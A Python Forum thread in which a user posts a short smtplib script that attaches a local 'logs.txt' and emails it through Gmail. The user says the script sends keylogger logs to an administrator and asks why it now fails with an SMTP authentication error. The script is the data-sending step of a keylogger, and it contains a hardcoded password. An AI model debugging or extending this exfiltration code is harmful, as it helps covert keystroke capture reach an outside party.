Python Forum
"Raise SMTPException("SMTP AUTH extension not supported by server.")
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
"Raise SMTPException("SMTP AUTH extension not supported by server.")
#1
Respected all,
I have written a code in python to send the keylogger log file to administrator, the said code working fine but after a day when I try to test in production the code raises an exception,
Need your response on urgent basis.
Thanks
Reply
#2
code?
Reply
#3
Code...The same code working fine yesterday but today without any change stop working

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

email_user = '[email protected]'
email_send = '[email protected]'
subject ='Python'

msg =MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject

body = 'Hi thre'
msg.attach(MIMEText(body,'plain'))

filename = 'logs.txt'
attachment = open(filename,'rb')

part =MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-disposition',"attachment,filename= "+filename)


msg.attach(part)
text= msg.as_string()

server = smtplib.SMTP('smtp.gmail.com',587)


server.starttls()
server.login(email_user,'qaz@wsx')
server.sendmail(email_user,email_send,text)
server.quit()
Reply
#4
What's the error? Are we expected to just guess?
What sort of machine does it run on in production? Is that machine set to automatically install updates? What's changed from when it worked to when it didn't?
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Sending email using own smtp server robertkwild 11 6,357 Jul-05-2024, 12:59 AM
Last Post: AdamHensley
  Send email with smtp without using Mimetext mgallotti 0 1,275 Feb-01-2023, 04:43 AM
Last Post: mgallotti
  auth - URL SUN 2 2,249 May-20-2022, 07:50 AM
Last Post: SUN
  How to take the tar backup files form remote server to local server sivareddy 0 2,607 Jul-14-2021, 01:32 PM
Last Post: sivareddy
  send email smtp rwahdan 0 2,371 Jun-19-2021, 01:28 AM
Last Post: rwahdan
  IBM Watson: Handshake status 403 Forbidden or No section: 'auth' groschat 1 3,533 May-07-2021, 03:44 PM
Last Post: jefsummers
  ImportError: No module named pydrive.auth lknights1987 5 7,849 Jun-23-2020, 06:40 PM
Last Post: snippsat
  TimeOutError when trying to initiate smtplib.SMTP thecosmos 0 4,527 Jun-19-2020, 05:30 AM
Last Post: thecosmos
  raise exception within generator bermudj 3 4,617 Jun-06-2020, 11:56 AM
Last Post: buran
  SMTP problem MajK 6 4,466 May-09-2020, 07:47 AM
Last Post: MajK

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020